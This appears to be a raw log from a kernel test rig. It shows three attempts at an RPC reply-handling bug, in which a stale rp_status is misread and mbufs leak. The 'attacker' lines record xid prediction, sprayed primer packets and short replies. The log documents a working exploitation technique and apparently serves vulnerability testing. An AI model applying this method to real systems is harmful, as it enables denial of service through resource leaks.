| DF3203 T2 attempt 1: err=EBADRPC -> stale rp_status read as RPC_PROGMISMATCH(2) -> leak exit (DF-3204 path taken on a stale value the attacker never sent) | DF3203 T2 attempt 2: err=EBADRPC -> stale rp_status read as RPC_PROGMISMATCH(2) -> leak exit (DF-3204 path taken on a stale value the attacker never sent) | DF3203 T2 attempt 3: err=EBADRPC -> stale rp_status read as RPC_PROGMISMATCH(2) -> leak exit (DF-3204 path taken on a stale value the attacker never sent)
mbufs before: 7/146632 mbufs in use (current/max):
mbufs after:  10/146632 mbufs in use (current/max):
--- dmesg tail:
dfrig13: DF3203 T2 attempt 1: err=EBADRPC -> stale rp_status read as RPC_PROGMISMATCH(2) -> leak exit (DF-3204 path taken on a stale value the attacker never sent)
dfrig13: DF3203 T2 attempt 2: err=EBADRPC -> stale rp_status read as RPC_PROGMISMATCH(2) -> leak exit (DF-3204 path taken on a stale value the attacker never sent)
dfrig13: DF3203 T2 attempt 3: err=EBADRPC -> stale rp_status read as RPC_PROGMISMATCH(2) -> leak exit (DF-3204 path taken on a stale value the attacker never sent)
attacker: mode=short_p port=7771 blind=0
attacker: REQ #1 len=60 xid=0xffffff00 from 127.0.0.1:1023 (blind prediction for this call: 0xffffff00 MATCH)
attacker: 64 primers with 0x00000002 at offset 20..23 sprayed to dead port, then short reply
attacker: REQ #2 len=60 xid=0xffffff01 from 127.0.0.1:1023 (blind prediction for this call: 0xffffff01 MATCH)
attacker: 64 primers with 0x00000002 at offset 20..23 sprayed to dead port, then short reply
attacker: REQ #3 len=60 xid=0xffffff02 from 127.0.0.1:1023 (blind prediction for this call: 0xffffff02 MATCH)
attacker: 64 primers with 0x00000002 at offset 20..23 sprayed to dead port, then short reply